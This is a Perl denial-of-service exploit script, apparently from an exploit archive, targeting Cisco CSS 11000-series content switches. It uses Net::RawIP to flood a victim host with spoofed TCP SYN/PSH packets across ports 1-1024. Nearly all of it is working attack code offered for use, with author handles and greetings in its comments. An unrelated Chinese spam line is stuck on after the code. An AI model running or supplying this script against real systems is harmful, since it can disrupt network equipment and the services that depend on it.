#!/usr/bin/perl #Cisco CSS 11000, 11050,11150,11800 with chassis cs800 DOS.. #found by s21sec they're find, my code ;) #deadbeat #e: daniels@legend.co.uk #e: deadbeat@sdf.lonestar.org #greetz: dyn0, c0w,gw01f and my company fro employing me... use Net::RawIP; $s_addr = $ARGV[0]; $vic = $ARGV[1]; print "\ncisco CSS DOS..found by s21sec, code by deadbeat\n"; if(!$ARGV[1]){ die "usage: perl $0 \n"; } @ports =(1..1024); sub packet{ print "commencing with packetting..\n"; $port= shift(@ports); $p = new Net::RawIP; $p->set({ip => {saddr => $s_addr,daddr => $vic}, tcp => {source => 31337,dest => $port,psh => 1, syn => 1}}); #leet, my mum would be soo proud..lool $p->send(0.05,150); } for($i=0;$i<10;$i++){ packet; }

这里只有精品视频